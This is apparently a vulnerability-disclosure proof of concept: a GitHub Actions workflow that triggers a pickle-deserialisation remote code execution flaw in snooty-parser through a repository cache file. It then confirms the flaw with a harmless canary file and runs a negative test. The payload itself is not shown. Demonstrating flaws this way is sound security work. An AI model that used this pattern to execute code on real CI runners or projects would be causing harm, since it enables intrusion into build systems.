snooty-build-poc.yml

name: "PoC: snooty-parser pickle.loads RCE (CWE-502)"
on: [push, pull_request]
jobs:
  snooty-rce-poc:
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@v4
      - name: Show cache file
        run: ls -la .snooty-*.cache.gz 2>/dev/null || echo "No cache"
      - uses: actions/setup-python@v5
        with:
          python-version: "3.11"
      - name: Install snooty-parser
        run: pip install 'git+https://github.com/mongodb/snooty-parser.git'
      - name: Run snooty build (triggers pickle.loads)
        run: python -m snooty build . 2>&1 || true
      - name: Verify RCE
        run: |
          if [ -f /tmp/snooty-rce-proof.txt ]; then
            echo "====================================="
            echo "  RCE CONFIRMED on Actions Runner"
            echo "====================================="
            cat /tmp/snooty-rce-proof.txt
          else
            echo "Canary not found"
          fi
      - name: Negative test
        run: |
          rm -f .snooty-*.cache.gz /tmp/snooty-rce-proof.txt
          python -m snooty build . 2>&1 || true
          [ ! -f /tmp/snooty-rce-proof.txt ] && echo "Negative test PASSED"
      - uses: actions/upload-artifact@v4
        if: always()
        with:
          name: snooty-rce-proof
          path: /tmp/snooty-rce-proof.txt
          if-no-files-found: warn